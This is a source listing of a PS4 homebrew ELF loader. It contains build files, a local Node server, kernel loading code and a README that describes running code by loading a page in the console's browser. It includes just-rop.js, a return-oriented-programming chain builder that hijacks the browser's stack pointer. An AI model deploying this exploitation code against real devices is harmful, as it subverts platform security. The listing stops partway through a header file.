├── .gitignore ├── Makefile ├── generate ├── Makefile └── source │ └── main.c ├── ps4 ├── binary │ ├── kernel │ │ ├── source │ │ │ └── main.c │ │ └── Makefile │ └── user │ │ ├── Makefile │ │ ├── include │ │ └── main.h │ │ └── source │ │ ├── kmain.c │ │ └── main.c └── library │ ├── Makefile │ ├── include │ └── elfloader.h │ └── source │ └── elfloader.c ├── LICENSE ├── Dockerfile ├── local ├── server.js ├── js │ ├── utils.js │ ├── just-rop.js │ ├── gadgets.js │ └── exploit.js └── index.html └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | **/build/ 2 | **/bin/ 3 | **/lib/ 4 | local/ldr/ 5 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .DEFAULT_GOAL := all 2 | 3 | %: 4 | $(MAKE) -C generate $@ $? 5 | $(MAKE) -C ps4/library $@ $? 6 | $(MAKE) -C ps4/binary/user $@ $? 7 | $(MAKE) -C ps4/binary/kernel $@ $? 8 | -------------------------------------------------------------------------------- /generate/Makefile: -------------------------------------------------------------------------------- 1 | ifndef Ps4Sdk 2 | ifdef ps4sdk 3 | Ps4Sdk := $(ps4sdk) 4 | endif 5 | ifdef PS4SDK 6 | Ps4Sdk := $(PS4SDK) 7 | endif 8 | ifndef Ps4Sdk 9 | $(error Neither PS4SDK, Ps4Sdk nor ps4sdk set) 10 | endif 11 | endif 12 | 13 | target := x64 14 | 15 | include $(Ps4Sdk)/make/ps4sdk.mk 16 | -------------------------------------------------------------------------------- /ps4/binary/kernel/source/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | This may one day be filled. 3 | The idea is to have an elfloader, 4 | which can be loaded to kernel and act as an in-kernel loader. 5 | Not too complex, but not the highest priority either. 6 | */ 7 | 8 | int main(int argc, char **argv) 9 | { 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /ps4/binary/kernel/Makefile: -------------------------------------------------------------------------------- 1 | ifndef Ps4Sdk 2 | ifdef ps4sdk 3 | Ps4Sdk := $(ps4sdk) 4 | endif 5 | ifdef PS4SDK 6 | Ps4Sdk := $(PS4SDK) 7 | endif 8 | ifndef Ps4Sdk 9 | $(error Neither PS4SDK, Ps4Sdk nor ps4sdk set) 10 | endif 11 | endif 12 | 13 | target := ps4_lib 14 | OutPath := lib 15 | AllTarget = $(OutPath)/$(TargetFile).a 16 | 17 | include $(Ps4Sdk)/make/ps4sdk.mk 18 | 19 | $(OutPath)/$(TargetFile).a: $(ObjectFiles) 20 | $(dirp) 21 | $(archive) 22 | -------------------------------------------------------------------------------- /ps4/library/Makefile: -------------------------------------------------------------------------------- 1 | ifndef Ps4Sdk 2 | ifdef ps4sdk 3 | Ps4Sdk := $(ps4sdk) 4 | endif 5 | ifdef PS4SDK 6 | Ps4Sdk := $(PS4SDK) 7 | endif 8 | ifndef Ps4Sdk 9 | $(error Neither PS4SDK, Ps4Sdk nor ps4sdk set) 10 | endif 11 | endif 12 | 13 | target := ps4_lib 14 | OutPath := lib 15 | TargetFile := libelfloader 16 | AllTarget = $(OutPath)/$(TargetFile).a 17 | 18 | include $(Ps4Sdk)/make/ps4sdk.mk 19 | 20 | $(OutPath)/$(TargetFile).a: $(ObjectFiles) 21 | $(dirp) 22 | $(archive) 23 | -------------------------------------------------------------------------------- /ps4/binary/user/Makefile: -------------------------------------------------------------------------------- 1 | ifndef Ps4Sdk 2 | ifdef ps4sdk 3 | Ps4Sdk := $(ps4sdk) 4 | endif 5 | ifdef PS4SDK 6 | Ps4Sdk := $(PS4SDK) 7 | endif 8 | ifndef Ps4Sdk 9 | $(error Neither PS4SDK, Ps4Sdk nor ps4sdk set) 10 | endif 11 | endif 12 | 13 | IncludePath := -I../../library/include -I. -Iinclude 14 | LibraryPath := -L../../library/lib 15 | Libraries := -lelfloader 16 | 17 | target := ps4_bin 18 | 19 | include $(Ps4Sdk)/make/ps4sdk.mk 20 | 21 | all:: 22 | ../../../generate/bin/generate Elf $(OutPath)/user ../../../local/ldr/ldr.js 23 | -------------------------------------------------------------------------------- /ps4/binary/user/include/main.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include 7 | 8 | /* Types */ 9 | 10 | typedef int (*ElfMain)(int argc, char **argv); 11 | typedef void (*ElfProcessMain)(void *arg); 12 | 13 | typedef struct ElfRunUserArgument 14 | { 15 | ElfMain main; 16 | Ps4MemoryProtected *memory; 17 | //Ps4Memory *memory; 18 | } 19 | ElfRunUserArgument; 20 | 21 | typedef struct ElfRunKernelArgument 22 | { 23 | int isProcess; 24 | size_t size; 25 | void *data; 26 | } 27 | ElfRunKernelArgument; 28 | 29 | int elfLoaderKernMain(struct thread *td, void *uap); 30 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # ps4dev/elf-loader 2 | # 3 | # FIXME: Commit based docker hub webhooks are not a good trigger for dependent repos 4 | # The build is standalone for now (duplicates the sdk build, remove resources) 5 | # Need to change trigger or use travis for a more controllable build 6 | 7 | FROM voidlinux/voidlinux 8 | 9 | ENV PS4DEV=/home/ps4dev 10 | ENV PS4SDK=$PS4DEV/ps4sdk 11 | 12 | RUN \ 13 | groupadd -r ps4dev && \ 14 | useradd --create-home -d /home/ps4dev --gid ps4dev ps4dev 15 | 16 | WORKDIR $PS4DEV 17 | COPY . $PS4DEV/elf-loader 18 | 19 | RUN \ 20 | xbps-install -Sy xbps ; \ 21 | xbps-install -Sy make clang git nodejs && \ 22 | git clone https://github.com/ps4dev/ps4sdk.git && \ 23 | cd ps4sdk && \ 24 | make && \ 25 | cd ../elf-loader && \ 26 | make && \ 27 | cd .. && \ 28 | rm -R /home/ps4dev/ps4sdk && \ 29 | mv /home/ps4dev/elf-loader/local /home/ps4dev/elf-loader_ && \ 30 | rm -R /home/ps4dev/elf-loader/* && \ 31 | mv /home/ps4dev/elf-loader_ /home/ps4dev/elf-loader/local && \ 32 | chown -R ps4dev:ps4dev /home/ps4dev ; \ 33 | xbps-remove -Ry make clang git ; \ 34 | xbps-remove -Oy ; \ 35 | xbps-remove -oy 36 | 37 | USER ps4dev 38 | 39 | EXPOSE 5350 40 | 41 | WORKDIR $PS4DEV/elf-loader/local 42 | 43 | ENTRYPOINT ["node", "server.js", "."] 44 | CMD ["5350"] 45 | -------------------------------------------------------------------------------- /local/server.js: -------------------------------------------------------------------------------- 1 | var http = require("http"); 2 | var url = require("url"); 3 | var path = require("path"); 4 | var fs = require("fs"); 5 | 6 | var basePath = process.argv[2] || process.cwd(); 7 | var port = process.argv[3] || 5350; 8 | 9 | http.createServer(function(request, response) 10 | { 11 | var uri = url.parse(request.url).pathname 12 | var filename = path.join(basePath, uri); 13 | 14 | fs.exists(filename, function(exists) 15 | { 16 | if(!exists) 17 | { 18 | if(uri !== "/index.html") { 19 | response.writeHead(302, {"Location": "/index.html"}); 20 | response.end(); 21 | return; 22 | } 23 | 24 | response.writeHead(404, {"Content-Type": "text/plain"}); 25 | response.write("404 Not Found\n"); 26 | response.end(); 27 | return; 28 | } 29 | 30 | if (fs.statSync(filename).isDirectory()) 31 | filename += 'index.html'; 32 | 33 | var readStream = fs.createReadStream(filename); 34 | 35 | readStream.on('open', function () 36 | { 37 | if(filename.length - 5 == filename.indexOf('.html')) 38 | response.writeHead(200, {"Content-Type": "text/html"}); 39 | else 40 | response.writeHead(200, {"Content-Type": "application/octet-stream"}); 41 | 42 | readStream.pipe(response); 43 | }); 44 | 45 | readStream.on('end', function() 46 | { 47 | response.end(); 48 | }); 49 | 50 | readStream.on('error', function(err) 51 | { 52 | response.writeHead(500, {"Content-Type": "text/plain"}); 53 | response.write(err + "\n"); 54 | response.end(); 55 | }); 56 | }); 57 | 58 | }).listen(parseInt(port, 10)); 59 | 60 | console.log('Serving directory ' + basePath + ' on port ' + port); 61 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Elf loader 2 | 3 | Runs ps4sdk elf files in-process on your PS4. 4 | 5 | ## Prerequisites 6 | * clang (not the OSX version though) 7 | * make 8 | * [ps4sdk](https://github.com/ps4dev/ps4sdk) 9 | * node.js to run server.js (or any alternative to serve /local) 10 | * socat, netcat, etc. to send files and to communicate with the standard IO 11 | 12 | ## Important 13 | 14 | The elf loader does not support dynamically linked executables. All libraries need to be statically linked into the executable. [ps4sdk](https://github.com/ps4dev/ps4sdk) provides a variaty of position independant, statically linkable libraries, such as a libc, for the PS4. Depending on their build system and requirenments, you can compile third party libraries using the ps4-lib target of the sdk. Alternatively you will have to alter their build system to compile them as PIC statically linked libraries. 15 | 16 | ## Example 17 | ```bash 18 | # Build as raw binary to bin/ and then convert to ldr.js in /local (you can 'make keepelf=1' to debug) 19 | make clean && make 20 | 21 | # Start server 22 | cd local 23 | node server.js 24 | 25 | # Browse ps4 browser to local server (:5350) 26 | # Wait until the browser hangs in 'step 5' 27 | 28 | # Connect debug/stdio channel 29 | socat - TCP::5052 30 | 31 | # Send elf file to the user space process for execution 32 | socat -u FILE:ps4sdk-examples/libless/stress/bin/stress TCP::5053 33 | # OR Send kernel elf file (mode for long-running code, or module-like code) 34 | socat -u FILE:ps4sdk-examples/kernel/function-hook/bin/function-hook TCP::5055 35 | # OR Send kernel elf file (runs in the browsers process, but is loaded and executed into the kernel) 36 | socat -u FILE:ps4sdk-examples/kernel/cache/bin/cache TCP::5054 37 | 38 | # Some examples (esp. kernel) use a second socket for their comminication. The default choice is 5088 39 | # Connect to it after the upload to trigger the execution of the code - please see the examples sources for more 40 | socat - TCP::5088 41 | ``` 42 | 43 | ## Docker images 44 | A stand alone elf-loader container is available (but currently a bit large): 45 | 46 | ```bash 47 | # Make sure newest container is used (only do this as needed) 48 | docker pull ps4dev/elf-loader 49 | # Run the elf loader (listens on port 5350) 50 | docker run -p 5350:5350 --rm ps4dev/elf-loader& 51 | # Stop elf loader 52 | docker kill $(docker ps -q -f ancestor=ps4dev/elf-loader) 53 | ``` 54 | -------------------------------------------------------------------------------- /generate/source/main.c: -------------------------------------------------------------------------------- 1 | #define _XOPEN_SOURCE 700 2 | #define __BSD_VISIBLE 1 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | enum{ ELF_LOADER_BINARY_SEGMENT_SIZE = 0x100000 }; 16 | 17 | void *elfLoaderMemoryAllocateFileFromPathAligned(char *file, size_t *size, size_t alignment) 18 | { 19 | struct stat s; 20 | FILE *f; 21 | uint32_t *b; 22 | size_t sz; 23 | size_t i; 24 | 25 | if(size != NULL) 26 | *size = 0; 27 | 28 | if(stat(file, &s) < 0) 29 | return NULL; 30 | 31 | if(alignment == 0) 32 | alignment = 1; 33 | 34 | sz = ((size_t)s.st_size * alignment) / alignment; 35 | b = (uint32_t *)malloc(sz * sizeof(uint8_t)); 36 | 37 | if(b == NULL) 38 | return NULL; 39 | 40 | f = fopen(file, "rb"); 41 | if(f == NULL) 42 | { 43 | free(b); 44 | return NULL; 45 | } 46 | fread(b, s.st_size, 1, f); 47 | fclose(f); 48 | 49 | if(size != NULL) 50 | *size = sz; 51 | 52 | for(i = s.st_size; i < sz; ++i) 53 | ((uint32_t *)b)[i] = 0; 54 | 55 | return b; 56 | } 57 | 58 | int main(int argc, char **argv) 59 | { 60 | uint32_t *bin, *text, *data; 61 | off_t binSize, textSize, dataSize; 62 | size_t s; 63 | FILE *f; 64 | int i; 65 | 66 | if(argc < 3) 67 | { 68 | fprintf(stderr, "Wrong number or arguments (%i):\t %s \n", argc, argv[0]); 69 | return EXIT_FAILURE; 70 | } 71 | 72 | bin = elfLoaderMemoryAllocateFileFromPathAligned(argv[2], &s, 4); 73 | if(bin == NULL) 74 | { 75 | fprintf(stderr, "Bin %s could not be loaded\n", argv[2]); 76 | return EXIT_FAILURE; 77 | } 78 | binSize = (off_t)s; 79 | text = bin; 80 | textSize = binSize; 81 | data = NULL; 82 | dataSize = 0; 83 | 84 | if(binSize > ELF_LOADER_BINARY_SEGMENT_SIZE) 85 | { 86 | for(i = (ELF_LOADER_BINARY_SEGMENT_SIZE - 1) / 4; i > 0 && bin[i] == 0; --i); 87 | textSize = (i + 1) * 4; 88 | data = (uint32_t *)((uint8_t *)bin + ELF_LOADER_BINARY_SEGMENT_SIZE); 89 | dataSize = binSize - ELF_LOADER_BINARY_SEGMENT_SIZE; 90 | } 91 | 92 | f = fopen(argv[3], "wb"); 93 | //fprintf(f, "function %s()\n{\n", argv[1]); 94 | fprintf(f, "function Ldr()\n{\n"); 95 | if(strncmp(argv[1], "Elf", 3) == 0) 96 | fprintf(f, "\tthis.isElfLoader = function()\n\t{\n\t\treturn true;\n\t}\n"); 97 | else 98 | fprintf(f, "\tthis.isElfLoader = function()\n\t{\n\t\treturn false;\n\t}\n"); 99 | fprintf(f, "\tthis.writeData = function(address)\n\t{\n\t\tsetBase(address);\n"); 100 | for(i = 0; i < dataSize / 4; i++) 101 | fprintf(f, "\t\tu32[%i] = 0x%08x;\n", i, data[i]); 102 | fprintf(f, "\t}\n\n"); 103 | fprintf(f, "\tthis.writeText = function(address)\n\t{\n\t\tsetBase(address);\n"); 104 | for(i = 0; i < textSize / 4; i++) 105 | fprintf(f, "\t\tu32[%i] = 0x%08x;\n", i, text[i]); 106 | fprintf(f, "\t}\n"); 107 | fprintf(f, "}\n"); 108 | fclose(f); 109 | 110 | free(bin); 111 | 112 | printf("Generated %s in %s from bin %s\n", argv[1], argv[3], argv[2]); 113 | 114 | return EXIT_SUCCESS; 115 | } 116 | -------------------------------------------------------------------------------- /ps4/binary/user/source/kmain.c: -------------------------------------------------------------------------------- 1 | #define _KERNEL 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #include 12 | 13 | #include "main.h" 14 | 15 | typedef struct ElfKernelProcessInformation 16 | { 17 | struct proc *process; 18 | uint8_t *processMain; 19 | uint8_t *main; 20 | int argc; 21 | char *argv[3]; 22 | char elfName[128]; 23 | void *processFree; 24 | void *processMemoryType; 25 | void *processExit; 26 | } 27 | ElfKernelProcessInformation; 28 | 29 | typedef void (*ElfProcessExit)(int ret); 30 | typedef void (*ElfProcessFree)(void *m, void *t); 31 | 32 | // copy-able 33 | void elfPayloadProcessMain(void *arg) 34 | { 35 | ElfKernelProcessInformation *pargs = arg; 36 | //ElfProcessExit pexit = (ElfProcessExit)pargs->processExit; 37 | ((ElfMain)pargs->main)(pargs->argc, pargs->argv); 38 | ((ElfProcessFree)pargs->processFree)(pargs, pargs->processMemoryType); 39 | //pexit(0); //FIXME: Hmm? Oo -> panics, should not, example sys/dev/mmc/mmcsd.c 40 | } 41 | 42 | int elfLoaderKernMain(struct thread *td, void *uap) 43 | { 44 | ElfRunKernelArgument *arg; 45 | ElfKernelProcessInformation *pargs; 46 | char buf[32]; 47 | Elf *elf; 48 | int isProcess, r; 49 | int elfPayloadProcessMainSize = 64; // adapt if needed 50 | 51 | arg = (ElfRunKernelArgument *)uap; 52 | if(arg == NULL || arg->data == NULL) 53 | return PS4_ERROR_ARGUMENT_MISSING; 54 | 55 | isProcess = arg->isProcess; 56 | elf = elfCreateLocalUnchecked((void *)buf, arg->data, arg->size); 57 | 58 | pargs = ps4KernelMemoryMalloc(sizeof(ElfKernelProcessInformation) + elfPayloadProcessMainSize + elfMemorySize(elf)); 59 | if(pargs == NULL) 60 | { 61 | ps4KernelMemoryFree(arg->data); 62 | ps4KernelMemoryFree(arg); 63 | return PS4_ERROR_KERNEL_OUT_OF_MEMORY; 64 | } 65 | 66 | // memory = (info, procmain, main) 67 | pargs->processMain = (uint8_t *)pargs + sizeof(ElfKernelProcessInformation); 68 | pargs->main = pargs->processMain + elfPayloadProcessMainSize; 69 | r = elfLoaderLoad(elf, pargs->main, pargs->main); // delay error return til cleanup 70 | pargs->main += elfEntry(elf); 71 | 72 | // aux 73 | pargs->argc = 1; 74 | pargs->argv[0] = pargs->elfName; 75 | pargs->argv[1] = NULL; 76 | pargs->argv[2] = NULL; 77 | sprintf(pargs->elfName, "ps4sdk-elf-%p", pargs); 78 | 79 | // Free user argument 80 | ps4KernelMemoryFree(arg->data); 81 | ps4KernelMemoryFree(arg); 82 | 83 | if(r != ELF_LOADER_RETURN_OK) 84 | { 85 | ps4KernelMemoryFree(pargs); 86 | return r; 87 | } 88 | 89 | if(!isProcess) 90 | { 91 | int r; 92 | r = ((ElfMain)pargs->main)(pargs->argc, pargs->argv); 93 | ps4KernelMemoryFree(pargs); 94 | ps4KernelThreadSetReturn(td, (register_t)r); 95 | return PS4_OK; 96 | } 97 | 98 | ps4KernelSymbolLookUp("free", &pargs->processFree); 99 | ps4KernelSymbolLookUp("M_TEMP", &pargs->processMemoryType); 100 | ps4KernelSymbolLookUp("kproc_exit", &pargs->processExit); 101 | ps4KernelMemoryCopy((void *)elfPayloadProcessMain, pargs->processMain, elfPayloadProcessMainSize); 102 | 103 | if(kproc_create((ElfProcessMain)pargs->processMain, pargs, &pargs->process, 0, 0, "ps4sdk-elf-%p", pargs) != 0) 104 | { 105 | ps4KernelMemoryFree(pargs); 106 | return PS4_ERROR_KERNEL_PROCESS_NOT_CREATED; 107 | } 108 | 109 | ps4KernelThreadSetReturn(td, (register_t)pargs->process); // FIXME: Races against free 110 | return PS4_OK; //FIXME: This does not return 0 Oo? 111 | } 112 | -------------------------------------------------------------------------------- /local/js/utils.js: -------------------------------------------------------------------------------- 1 | // global vars 2 | var _log0, _log, _dview; 3 | 4 | // prints log messages 5 | console.log = function(txt) { 6 | if (!_log0){ 7 | _log0 = document.getElementById("log"); 8 | if (!_log0) return; 9 | } 10 | if (!_log){ 11 | _log = document.createElement("div"); 12 | if (_log0.hasChildNodes()){ 13 | _log0.insertBefore(_log, _log0.firstChild); 14 | }else{ 15 | _log0.appendChild(_log); 16 | } 17 | } 18 | var div = document.createElement("div"); 19 | div.innerHTML = txt; 20 | _log.appendChild(div); 21 | } 22 | 23 | var logAdd = console.log; 24 | console.error = console.log; 25 | 26 | function getEnvironmentInfo() { 27 | var s = new Date().toTimeString() + "
"; 28 | s += navigator.userAgent + "
"; 29 | s += navigator.appName + " (" + navigator.platform + ")

"; 30 | return s; 31 | } 32 | 33 | function getQuery() { 34 | var queryDict = {}; 35 | location.search.substr(1).split("&").forEach(function(item) {queryDict[item.split("=")[0]] = item.split("=")[1]}); 36 | return queryDict; 37 | } 38 | 39 | function getCookie(cname) { 40 | var name = cname + "="; 41 | var ca = document.cookie.split(';'); 42 | 43 | for(var i = 0; i < ca.length; i++) { 44 | var c = ca[i]; 45 | while(c.charAt(0) == ' ') c = c.substring(1); 46 | if (c.indexOf(name) == 0) return c.substring(name.length, c.length); 47 | } 48 | 49 | return ""; 50 | } 51 | 52 | // returns WebKit major version number 53 | function getWebKitVersion(tmpl) 54 | { 55 | var str = navigator.userAgent; 56 | if (!tmpl) tmpl = "WebKit/"; 57 | var i = str.indexOf(tmpl); 58 | if (i >= 0) { 59 | i += tmpl.length; 60 | i = +str.substring(i,i+3); 61 | return isNaN(i) ? 0 : i; 62 | } 63 | return 0; 64 | } 65 | 66 | // creates new Uint32Array from Uint8Array's data 67 | function U8toU32(u8) 68 | { 69 | var len = u8.length; 70 | var u32 = new Uint32Array((len >>> 2) + (len % 4 ? 1:0)); 71 | if (len > 1) { 72 | len--; 73 | for(var i=0; i <= len; i++){ 74 | u32[i >>> 2] += u8[i] << ((i%4)*8); 75 | } 76 | }else{ 77 | if (len) u32[0] = u8[0]; 78 | } 79 | return u32; 80 | } 81 | 82 | // writes one array into another, and saves the old content 83 | function exchangeArrays(aFrom, aTo, offs) 84 | { 85 | var u, len = aFrom.length; 86 | for(var i=0; i < len; i++, offs++){ 87 | u = aTo[offs]; 88 | aTo[offs] = aFrom[i]; 89 | aFrom[i] = u; 90 | } 91 | } 92 | 93 | // outputs uint32 as a comma-separated list of bytes 94 | function getU8str(u) 95 | { 96 | var str = "", s; 97 | for(var i=0; i < 4; i++, u >>>= 8) { 98 | s = (u & 0xff).toString(16); 99 | if (s.length < 2) s = "0" + s; 100 | str += s + (i < 3 ? ",":""); 101 | } 102 | 103 | return str; 104 | } 105 | 106 | // outputs the content of array object 107 | function ArrayToU8String(arr, offs, len) 108 | { 109 | var str = "["; 110 | len += offs-1; 111 | for(var i=offs; i <= len; i++){ 112 | str += getU8str(arr[i]); 113 | str += i < len ? ",  " + (i % 4 == 3 ? "
":"") : "]"; 114 | } 115 | return str; 116 | } 117 | 118 | 119 | // outputs the content of array object 120 | function ArrayToString(arr, offs, len) 121 | { 122 | var str = "["; 123 | len += offs-1; 124 | for(var i=offs; i <= len; i++){ 125 | str += (arr[i] > 9 && arr[i] <= 0xffffffff) ? "0x" + arr[i].toString(16) : arr[i]; 126 | str += (i < len) ? ", " : "]"; 127 | } 128 | return str; 129 | } 130 | 131 | function ArrayToString2(arr, offs, len) 132 | { 133 | var str = ""; 134 | len += offs-1; 135 | for(var i=offs; i <= len; i++){ 136 | str += (arr[i] > 9 && arr[i] <= 0xffffffff) ? "" + arr[i].toString(16) : arr[i]; 137 | str += (i < len) ? "," : ""; 138 | } 139 | return str; 140 | } 141 | 142 | // wraps two uint32s into double precision 143 | function u2d(low,hi) 144 | { 145 | if (!_dview) _dview = new DataView(new ArrayBuffer(16)); 146 | _dview.setUint32(0,hi); 147 | _dview.setUint32(4,low); 148 | return _dview.getFloat64(0); 149 | } 150 | 151 | // unwraps uints from double 152 | function d2u(d) 153 | { 154 | if (!_dview) _dview = new DataView(new ArrayBuffer(16)); 155 | _dview.setFloat64(0,d); 156 | return { low: _dview.getUint32(4), 157 | hi: _dview.getUint32(0) }; 158 | } 159 | -------------------------------------------------------------------------------- /local/js/just-rop.js: -------------------------------------------------------------------------------- 1 | var chain; 2 | 3 | function gadget(instructions, module, address) { 4 | this.instructions = instructions; 5 | this.relativeAddress = address; 6 | this.checked = false; 7 | 8 | this.check = function() { 9 | if(!this.checked && this.instructions.length > 0) { 10 | var i; 11 | for(i = 0; i < this.instructions.length; i++) { 12 | if(getU8from(module_infos[module].image_base + address + i) != this.instructions[i]) { 13 | return false; 14 | } 15 | } 16 | 17 | // Check ends with ret 18 | if(getU8from(module_infos[module].image_base + address + this.instructions.length) != 0xc3) { 19 | return false; 20 | } 21 | } 22 | 23 | this.checked = true; 24 | return true; 25 | } 26 | 27 | this.address = function() { 28 | return module_infos[module].image_base + address; 29 | } 30 | } 31 | 32 | var checking = false; 33 | 34 | function rop(version) { 35 | setBase(stack_base + return_va); 36 | var resp = getU64from(stack_base + return_va); 37 | this.data = stack_base + return_va + 0x420; 38 | var chainAddress = stack_base - 0x20000; 39 | var chainLength = 0; 40 | var variableAddresses = []; 41 | 42 | this.add = function() { 43 | var i; 44 | for(i = 0; i < arguments.length; i++) { 45 | if(typeof(arguments[i]) === "string") { 46 | if(checking && gadgets[version][arguments[i]].check() == false) throw(gadgets[version][arguments[i]].relativeAddress); 47 | setU64into(chainAddress + chainLength, gadgets[version][arguments[i]].address()); 48 | } 49 | else { 50 | setU64into(chainAddress + chainLength, arguments[i]); 51 | } 52 | 53 | chainLength += 8; 54 | } 55 | 56 | return chainLength; 57 | } 58 | 59 | this.add("pop rbp", stack_base + return_va + 0x1400); 60 | 61 | this.add32 = function() { 62 | var i; 63 | for(i = 0; i < arguments.length; i++) { 64 | setU32into(chainAddress + chainLength, arguments[i]); 65 | 66 | chainLength += 4; 67 | } 68 | 69 | return chainLength; 70 | } 71 | 72 | this.syscall = function(name, systemCallNumber, arg1, arg2, arg3, arg4, arg5, arg6) { 73 | logAdd("syscall " + name); 74 | 75 | this.add("pop rax", systemCallNumber); 76 | if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1); 77 | if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2); 78 | if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3); 79 | if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4); 80 | if(typeof(arg5) !== "undefined") this.add("pop r8", arg5); 81 | if(typeof(arg6) !== "undefined") this.add("pop r9", arg6); 82 | this.add("mov r10, rcx; syscall"); 83 | } 84 | 85 | this.call = function(name, module, address, arg1, arg2, arg3, arg4, arg5, arg6) { 86 | logAdd("call " + name); 87 | 88 | if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1); 89 | if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2); 90 | if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3); 91 | if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4); 92 | if(typeof(arg5) !== "undefined") this.add("pop r8", arg5); 93 | if(typeof(arg6) !== "undefined") this.add("pop r9", arg6); 94 | this.add(module_infos[module].image_base + address); 95 | } 96 | 97 | this.start = function(address, data) { 98 | logAdd("Starting code"); 99 | 100 | setBase(data); 101 | u32[0x3FFFE] = gadgets[version]["mov r10, rcx; syscall"].address() % 0x100000000; 102 | u32[0x3FFFF] = gadgets[version]["mov r10, rcx; syscall"].address() / 0x100000000; 103 | 104 | this.add("pop rbp", stack_base + return_va - (chainLength + 8) + 0x1480); 105 | //this.add("pop rcx", "mov r10, rcx; syscall"); 106 | this.add(address); 107 | } 108 | 109 | // Modifies rsi 110 | this.write_rax = function(address) { 111 | var valueAddress = this.add("pop rsi", address - 0x18) - 8; 112 | this.add("mov [rsi+0x18], rax"); 113 | 114 | return valueAddress; 115 | } 116 | 117 | // Modifies rax 118 | this.write_rdi = function(address) { 119 | var valueAddress = this.add("pop rax", address - 0x60) - 8; 120 | this.add("mov [rax+0x60], rdi"); 121 | 122 | return valueAddress; 123 | } 124 | 125 | // Modifies rax 126 | this.write_rdx = function(address) { 127 | var valueAddress = this.add("pop rax", address - 0x1e8) - 8; 128 | this.add("mov [rax+0x1e8], rdx"); 129 | 130 | return valueAddress; 131 | } 132 | 133 | this.read_rax = function(address) { 134 | var valueAddress = this.add("pop rax", address - 0x830) - 8; 135 | this.add("mov rax, [rax+0x830]"); 136 | 137 | return valueAddress; 138 | } 139 | 140 | this.read_rdi = function(address) { 141 | var valueAddress = this.add("pop rdi", address - 0x48) - 8; 142 | this.add("mov rdi, [rdi+0x48]"); 143 | 144 | return valueAddress; 145 | } 146 | 147 | this.execute = function(afterExecution) { 148 | // Restore Stack Pointer 149 | this.add("pop rax", resp); 150 | this.write_rax(stack_base + return_va); 151 | this.add("pop rsp", stack_base + return_va); 152 | 153 | this.resolveVariables(); 154 | 155 | // Redirect Stack Pointer to our ROP chain 156 | setU64into(stack_base + return_va, gadgets[version]["pop rsp"].address()); 157 | setU64into(stack_base + return_va + 8, chainAddress); 158 | 159 | setTimeout(function() { 160 | if(afterExecution) afterExecution(); 161 | }, 1); 162 | } 163 | 164 | // Don't yet know where to store variables (depends on chainLength) 165 | // wait until entire ROP chain written, and evaluate the address in this.resolveVariables() 166 | this.write_rax_ToVariable = function(n) { variableAddresses.push({ number: n, address: this.write_rax(0), offset: -0x18 }); } 167 | this.write_rdi_ToVariable = function(n) { variableAddresses.push({ number: n, address: this.write_rdi(0), offset: -0x60 }); } 168 | this.write_rdx_ToVariable = function(n) { variableAddresses.push({ number: n, address: this.write_rdx(0), offset: -0x1e8 }); } 169 | this.read_rax_FromVariable = function(n) { variableAddresses.push({ number: n, address: this.read_rax(0), offset: -0x830 }); } 170 | this.read_rdi_FromVariable = function(n) { variableAddresses.push({ number: n, address: this.read_rdi(0), offset: -0x48 }); } 171 | 172 | this.resolveVariables = function() { 173 | var i; 174 | for(i = 0; i < variableAddresses.length; i++) { 175 | setU64into(chainAddress + variableAddresses[i].address, chainAddress + chainLength + variableAddresses[i].offset + variableAddresses[i].number * 8); 176 | } 177 | } 178 | 179 | this.getVariable = function(n) { 180 | return getU64from(chainAddress + chainLength + n * 8); 181 | } 182 | 183 | this.logVariable = function(n) { 184 | var v = getU64from(chainAddress + chainLength + n * 8); 185 | var s = "Variable " + n.toString() + " = 0x" + v.toString(16); 186 | if(errno[v]) s += " (" + errno[v] + ")"; 187 | logAdd(s); 188 | } 189 | } 190 | -------------------------------------------------------------------------------- /ps4/library/include/elfloader.h: -------------------------------------------------------------------------------- 1 | #ifndef ElfLoader_H 2 | #define ElfLoader_H 3 | 4 | #include 5 | 6 | /* Warning, written for 64bit systems - need to adapt stuff for 32 */ 7 | #if ULONG_MAX == 0xffffffff 8 | #define __ELF_WORD_SIZE 32 9 | #error Elf loader currently does not support 32 bit arches 10 | #else 11 | #define __ELF_WORD_SIZE 64 12 | #endif 13 | 14 | 